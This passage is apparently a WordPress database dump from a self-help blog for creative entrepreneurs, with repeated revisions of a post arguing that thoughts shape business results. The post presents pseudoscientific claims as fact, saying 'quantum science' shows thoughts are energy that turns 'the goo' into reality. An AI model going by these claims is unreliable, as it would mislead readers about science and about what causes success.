(556, 1, '2009-07-09 15:48:21', '2009-07-09 22:48:21', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif"><img class="alignnone size-full wp-image-476" title="questionbar" src="http://whc.fbdev.org/wp-content/uploads/2009/06/questionbar.gif" alt="questionbar" width="450" height="85" /></a>\r\n\r\nShare your answer in the comments box below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.1', 0, '', 'inherit', 'open', 'open', '', '185-revision-7', '', '', '2009-07-09 15:48:21', '2009-07-09 22:48:21', '', 185, 'http://www.whitehotcenter.com/2009/07/09/185-revision-7/', 0, 'revision', '', 0),
(557, 1, '2009-07-21 16:56:32', '2009-07-21 23:56:32', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Share your answer in the comments box beleow.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.2', 0, '', 'inherit', 'open', 'open', '', '187-revision-8', '', '', '2009-07-21 16:56:32', '2009-07-21 23:56:32', '', 187, 'http://www.whitehotcenter.com/2009/07/21/187-revision-8/', 0, 'revision', '', 0),
(558, 1, '2009-08-03 11:28:04', '2009-08-03 18:28:04', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif"><img class="alignnone size-full wp-image-509" title="how-much-is-enough-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/how-much-is-enough-.gif" alt="how-much-is-enough-" width="450" height="85" /></a>Share your answer in the comments box beleow.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', ' Big Burning Question No.2', 0, '', 'inherit', 'open', 'open', '', '187-revision-9', '', '', '2009-08-03 11:28:04', '2009-08-03 18:28:04', '', 187, 'http://www.whitehotcenter.com/2009/08/03/187-revision-9/', 0, 'revision', '', 0),
(559, 1, '2009-07-21 17:26:28', '2009-07-22 00:26:28', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif"><img class="alignnone size-full wp-image-515" title="greatwork-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatwork-.gif" alt="greatwork-" width="450" height="85" /></a>Share your answer in the comment block below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.3', 0, '', 'inherit', 'open', 'open', '', '189-revision-6', '', '', '2009-07-21 17:26:28', '2009-07-22 00:26:28', '', 189, 'http://www.whitehotcenter.com/2009/07/21/189-revision-6/', 0, 'revision', '', 0),
(560, 1, '2009-07-21 17:29:11', '2009-07-22 00:29:11', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif"><img class="alignnone size-full wp-image-518" title="greatful-" src="http://whc.fbdev.org/wp-content/uploads/2009/06/greatful-.gif" alt="greatful-" width="450" height="85" /></a>Share your answer in the comment box below.\r\n\r\nOr return to the <a href="http://whc.fbdev.org/big-burning-questions/">list of Big Burning Questions</a>.', 'Big Burning Question No.4', 0, '', 'inherit', 'open', 'open', '', '191-revision-6', '', '', '2009-07-21 17:29:11', '2009-07-22 00:29:11', '', 191, 'http://www.whitehotcenter.com/2009/07/21/191-revision-6/', 0, 'revision', '', 0),
(561, 2, '2009-07-31 16:20:24', '2009-07-31 23:20:24', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a>\r\n<h2><span style="color: #ff6600;">I’m very pleased that you have found your way to the White Hot Center. My purpose here is to inspire you into a frame of mind that will support you in achieving whatever level of personal and entrepreneurial success you desire.</span></h2>\r\n<h2><span style="color: #696969;"> </span></h2>\r\n<span style="color: #696969;">Of course each definition of success is as different and unique as our own DNA. Success in business and in life is a process, not an event. Whatever metrics you use to determine your success, the best definition of success I''ve heard so far comes from Bob Dylan: </span>\r\n<h2><span style="color: #ff6600;">"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".<strong> </strong></span></h2>\r\n<span style="color: #696969;"> </span>\r\n<h2><span style="color: #696969;">I love the simplicity of that!  For many people, myself included, success means freedom to pursue whatever is your heart''s desire burning bright and hot within you. </span></h2>\r\n<span style="color: #696969;">When I began to have greater awareness and connection to what really mattered to me in business and life success, I discovered some common ground with other creative business people who were searching, like me, for tools to help guide their journey. With that in mind, here are some success benchmarks many people I have worked with agree are worthwhile pursuing with unbridled passion:</span>\r\n<h2><span style="color: #ff6600;"><strong>freedom to do the "work" that matters most to you</strong><strong> and serves others.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a profitable business comprised of customers who value your contribution to them, and are delighted to show their appreciation by paying the higher fees your talent and expertise commands and deserves.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery over the daily complexities your business success creates.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>mastery of effective marketing and business development strategies to grow your business doing what you love with clients who love you.\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>enjoying more free time and money to imagine ways to expand your contribution to the world, not to mention to your family and friends, and to pursue your life''s other creative passions.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>creating a life of significance through your unique contributions to the world.</strong></span></h2>\r\nThe list goes on and on… because, in truth, there’s no end to what is possible for you. You set your own limits in business and in life.\r\n\r\n<strong>About Me</strong>\r\n\r\nJust like you, I am a creative entrepreneur. I want to play big and make a difference. I also believe that really great work and the highest value to the world is best expressed through the venue of business. Commerce is a constant human activity. The desire to grow and expand is an entrepreneur''s truest nature. This site is one expression of that idea. So, like two friends walking the same road, it is my intention to begin a conversation with you about the principles of the inner game that drives our outer success. Check out the White Hot Center Manifesto above. It outlines the 21 principles of inner success that forms the foundation of the White Hot Center philosophy. As curator, I''ll share thoughts, ideas, methods and expertise to inspire you to keep your momentum and confidence growing to create your life experience exactly as you desire it to be. Believe me, it’s far more rewarding than looking down at your dusty shoes, or worse, looking over your shoulder– I guarantee you that much!\r\n\r\nFor over 25 years, I have helped guide businesses large and small, to discover and define their unique voice, brand identity and value proposition to their customers. I am a designer, writer, creative director, and brand marketing consultant to global enterprises and small start-ups alike. You can learn about my expertise in the brand consulting business here: <a href="http://www.pullinc.com" target="_blank"><strong>www.pullinc.com</strong></a>\r\n<h2><strong><span style="color: #ff6600;">It is my intention the White Hot Center serve as a resource for inspiration and innovation to help you tap into the power of the creative source– your own white hot center!</span></strong></h2>\r\nI am totally committed to helping you master timeless principles for creative business and life success and sharing inspirational ideas and insight with you here on the WHC blog. I want to keep you inspired to create the business and life success you really want, doing whatever brings you joy and fulfillment.  I’ll be sharing with you my best thinking and expertise, along with the expertise and point of view of other successful people you will enjoy learning from as well. Of course, your comments will only elevate the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section.\r\n\r\nAfter you have explored the site, I''m hoping you''ll want to subscribe and receive our updates directly to your email in-box. Your free subscription to the White Hot Center blog is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas that are useful to your business success and add value to your life''s journey.\r\n\r\nI wish you continued success in your creative business and in every area of your life. Thank you for visiting..\r\n\r\nAll the best,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to the White Hot Center', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2009-07-31 16:20:24', '2009-07-31 23:20:24', '', 172, 'http://www.whitehotcenter.com/2009/07/31/172-revision-52/', 0, 'revision', '', 0),
(562, 2, '2009-08-03 14:38:33', '2009-08-03 21:38:33', '', 'themind', 0, '', 'inherit', 'open', 'open', '', 'themind', '', '', '2009-08-03 14:38:33', '2009-08-03 21:38:33', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2009/08/themind.gif', 0, 'attachment', 'image/gif', 0),
(563, 2, '2009-08-03 14:52:06', '2009-08-03 21:52:06', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\r\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\r\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\r\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\r\n\r\n<span style="color: #333333;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #333333;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\r\n\r\n<strong>The Science of Mind and Matter</strong>\r\n\r\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\r\n\r\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\r\n\r\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\r\n\r\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\r\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\r\n<strong>There is nothing outside of you that controls what you think about.</strong>\r\n\r\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is an instant reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\r\n\r\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will achieve it, or have any physical evidence proving it is possible.\r\n\r\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\r\n\r\n<strong>Are you satisfied with your current results? </strong>\r\n\r\n<strong>What are you thinking about? </strong>\r\n\r\n<strong>Go ahead, give it some thought!\r\n</strong>', 'As you think, so it is.', 0, '', 'publish', 'open', 'open', '', '563', '', '', '2009-08-03 15:04:41', '2009-08-03 22:04:41', '', 0, 'http://www.whitehotcenter.com/?p=563', 0, 'post', '', 0),
(564, 2, '2009-08-03 14:45:55', '2009-08-03 21:45:55', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\n\n<span style="color: #ff6600;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\n\n<span style="color: #ff6600;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\n\n<span style="color: #ff6600;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\n\n<span style="color: #ff6600;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\n\n<span style="color: #ff6600;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\n\n<strong>The Science of Mind and Matter</strong>\n\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\n\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\n\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\n\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\n<strong>There is nothing outside of you that controls what you think about.</strong>\n\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is a reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\n\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will achieve it, or have any physical evidence proving it is possible.\n\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\n\n<strong>Are you satisfied with your current results? </strong>\n\n<strong>What are you thinking about? </strong>\n\n<strong>Go ahead, give it some thought!\n</strong>', '', 0, '', 'inherit', 'open', 'open', '', '563-revision', '', '', '2009-08-03 14:45:55', '2009-08-03 21:45:55', '', 563, 'http://www.whitehotcenter.com/2009/08/03/563-revision/', 0, 'revision', '', 0);
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(565, 2, '2009-08-03 15:05:48', '2009-08-03 22:05:48', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\n\n<span style="color: #333333;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\n\n<span style="color: #333333;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\n\n<span style="color: #333333;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\n\n<span style="color: #333333;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\n\n<span style="color: #333333;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\n\n<strong>The Science of Mind and Matter</strong>\n\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\n\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\n\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\n\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\n<strong>There is nothing outside of you that controls what you think about.</strong>\n\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is an instant reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\n\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will achieve it, or have any physical evidence proving it is possible.\n\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\n\n<strong>Are you satisfied with your current results? </strong>\n\n<strong>What are you thinking about? </strong>\n\n<strong>Go ahead, give it some thought!\n</strong>', 'As you think, so it is.', 0, '', 'inherit', 'open', 'open', '', '563-autosave', '', '', '2009-08-03 15:05:48', '2009-08-03 22:05:48', '', 563, 'http://www.whitehotcenter.com/2009/08/03/563-autosave/', 0, 'revision', '', 0),
(566, 2, '2009-08-03 14:52:06', '2009-08-03 21:52:06', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\r\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\r\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\r\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\r\n\r\n<span style="color: #ff6600;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\r\n\r\n<strong>The Science of Mind and Matter</strong>\r\n\r\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\r\n\r\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\r\n\r\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\r\n\r\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\r\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\r\n<strong>There is nothing outside of you that controls what you think about.</strong>\r\n\r\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is a reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\r\n\r\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will achieve it, or have any physical evidence proving it is possible.\r\n\r\nBelieve and trust in the unseen forces that govern how stuff comes out of the goo to become the physicality of your current circumstances. As a creative entrepreneur, your business and life success depends on your mastery of this fundamental skill in everything you put your mind to.\r\n\r\n<strong>Are you satisfied with your current results? </strong>\r\n\r\n<strong>What are you thinking about? </strong>\r\n\r\n<strong>Go ahead, give it some thought!\r\n</strong>', '', 0, '', 'inherit', 'open', 'open', '', '563-revision-2', '', '', '2009-08-03 14:52:06', '2009-08-03 21:52:06', '', 563, 'http://www.whitehotcenter.com/2009/08/03/563-revision-2/', 0, 'revision', '', 0),
(567, 2, '2009-08-03 14:54:15', '2009-08-03 21:54:15', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif"><img class="alignnone size-full wp-image-562" title="themind" src="http://whc.fbdev.org/wp-content/uploads/2009/08/themind.gif" alt="themind" width="450" height="263" /></a>\r\n<h2><span style="color: #ff6600;">As a creative entrepreneur, you’re in the business of ideas. You love thinking of creative ideas that will serve your clients/customers, and bring more value to them. Consequently, you probably spend a lot of time thinking. So, let me ask you to step back from your busy day for a moment and honestly answer this question for yourself:</span></h2>\r\n<h2><span style="color: #ff6600;">What are you always thinking about?</span></h2>\r\nNow look around you and carefully observe the current results in your business, and in your whole life. Whatever results you see around you, right now – in the form of your current circumstances –is what you have been thinking about. Your current circumstances (results) are the prophecy of your past thinking fulfilled.  Your results can be no greater, or less, than the source thinking behind them. If you want to change anything in your current physical reality, you must first change the seed of that reality–your thinking.\r\n\r\n<span style="color: #ff6600;"><strong>If you want to operate your business at the highest levels doing work that really matters to you and serves the world, plus be highly paid for it– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to be associated with the best and the brightest people– you must elevate your thoughts...</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to create a profitable and growing business supported by clients who love and appreciate you and your work– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want relationships with clients, colleagues, partners, employees that are joyous, exciting, and fulfilling– you must elevate your thoughts…</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>If you want to experience your professional and personal life filled with endless opportunity and possibilities for continuous growth and success – you must elevate your thoughts.</strong></span>\r\n\r\n<strong>The Science of Mind and Matter</strong>\r\n\r\nProper thinking is a more powerful and important idea for your growth and success than the warmed-over, self-help “law of attraction” cliché it may appear to sound like on the surface.  Actually it’s more than an idea–it’s called the Law of Cause and Effect.  In our physical world, all effects in the physical have their causes in the formless. Like gravity, this law is always “on”.  Science is much closer to understanding the exact composite nature of the structures and forces involved in how mind and matter co-mingle to create “reality”.  As you think, so it is. Quantum science proclaims the fundamental basis of all matter is nothing more than vibrating energy. Thoughts are energy. Your creative ideas are bundles of formless thought energy vibrating in an infinite sea of potential and possibility. I like to call this unseen substance that surrounds our existence “the goo”.  As you place your thoughts, wittingly or unwittingly, into the goo, they form themselves into their physical counterparts known as your results.\r\n\r\nIt’s amazing how few creative business people are consciously aware of this truth, and its powerful impact (for the good or ill) on their business development and life success. In other words, it’s not the economy you find yourself in at the moment that determines your potential for success. Your business is a reflection of you– success or failure determined by your prevailing mental state.\r\n\r\nIt’s not simply who you know, social status, education, talent, skill, capability or a robust economy that determines success. People with the most unfavorable circumstances, with past failures of the most unbelievable nature, have come back to create massive success simply through the power to use their disciplined mind to think in a certain way.  On the other hand, there are those with unbelievable advantage and resources who never seem to succeed at anything they attempt.\r\n\r\nAuthor and Philosopher Raymond Holliwell, in his 1960s classic book <em>“Working with the Law”</em> phrases it more beautifully in poetic language:\r\n<h2><span style="color: #ff6600;">“It is evident, therefore, that of all the factors which regulate the life and experience of man, none perhaps exercise greater influence than the ruling state of mind”.</span></h2>\r\n<strong>There is nothing outside of you that controls what you think about.</strong>\r\n\r\nYou have the power to choose what you think! You decide your thoughts in each conscious moment. Your magnificent mind is an instant reality-creating machine! You create the reality you perceive through your prevailing state of mind. If you are often fearful and thinking about what is presently lacking or limited in you, you will experience exactly what you fear. On the other hand, if your prevailing state of mind is focused on the potential and opportunity that is always available for you now, despite whatever circumstances you currently “see” around you, you will in time, experience the wicked-fun reality that is congruent to your higher source thinking.\r\n\r\nIt’s essential to be aware of what dominates your state of mind, and develop the discipline to master your own consciousness.  Make a daily habit of thinking more about what you truly love and aspire to, and less about what keeps you safe and secure.  Through the complexities and day-to-day urgencies of running your life, hold your vision for a bigger, better future in the center of your conscious mind and believe what you desire is already ‘in the making”, even though you may currently have no idea how you will 